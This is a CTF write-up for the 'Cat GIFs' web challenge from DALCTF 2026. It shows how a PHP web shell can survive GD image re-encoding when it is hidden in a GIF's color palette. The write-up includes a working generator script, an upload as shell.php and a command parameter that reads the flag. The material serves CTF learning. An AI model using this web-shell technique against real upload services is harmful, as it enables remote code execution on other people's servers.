Skip to content

dalctf 2026

Cat GIFs

Web challenge from DALCTF 2026.

Challenge Description:

I made a website to store my cat gifs :3

very cute uwu:>

The backend passes uploaded files through PHP's GD library (imagecreatefromgif and imagegif). This completely reconstructs the image, which means any standard appended PHP payloads or EXIF data injection gets nuked.

However, GD doesn't touch the Global Color Table (the GIF's palette). I literally just wrote a PHP script to generate a 10x10 GIF and mapped the characters of my payload (<?php system($_GET['c']); ?>) directly into the RGB color arrays.

the payload generator

gen_shell.php

<?php
$payload = "<?php system(\$_GET['c']); ?>";
$payload .= str_repeat("\x00", 30 - strlen($payload));

$img = imagecreate(10, 10);

for ($i=0; $i<10; $i++) {
    $r = ord($payload[$i*3]);
    $g = ord($payload[$i*3+1]);
    $b = ord($payload[$i*3+2]);
    imagecolorallocate($img, $r, $g, $b);
}

for ($x=0; $x<10; $x++) {
    for ($y=0; $y<10; $y++) {
        imagesetpixel($img, $x, $y, ($x+$y)%10);
    }
}
imagegif($img, "shell.php");
?>

The server only validates the file signature, not the extension, so it happily accepts .php uploads. Btw, I just generated shell.php locally and uploaded that shit straight to the site.

upload success

Once uploaded, I hit the file endpoint with my command ?c=cat /flag.txt.

flag leaked from the shell

Flag

dalctf{m30w_m3333333000w}

thanks kidkraken for this masterpiece

mr fuzzy pants wishes u luck for ur cats 🐱

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive